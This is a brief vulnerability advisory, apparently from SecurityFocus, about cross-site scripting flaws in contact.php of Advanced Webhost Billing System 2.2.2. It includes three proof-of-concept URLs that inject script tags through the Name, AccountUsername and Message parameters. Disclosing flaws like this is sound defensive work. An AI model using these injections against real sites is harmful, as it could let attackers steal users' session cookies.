Advanced Webhost Billing System 2.2.2 Contact.PHP Multiple Cross-Site Scripting Vulnerabilities

source: http://www.securityfocus.com/bid/19226/info Advanced Webhost Billing System (AWBS) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage any of these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. Version 2.2.2 is vulnerable. Other versions may also be affected. http://www.example.com/contact.php?action=submit&Name='><script>alert('XSS Vulnerability')%3B</script>&EmailAddress=1&AccountUsername=1&Message=1 http://www.example.com/contact.php?action=submit&Name=1&EmailAddress=1&AccountUsername='><script>alert('XSS Vulnerability')%3B</script>&Message=1 http://www.example.com/contact.php?action=submit&Name=1&EmailAddress=1&AccountUsername=1&Message=</textarea><script>alert('XSS Vulnerability')%3B</script>
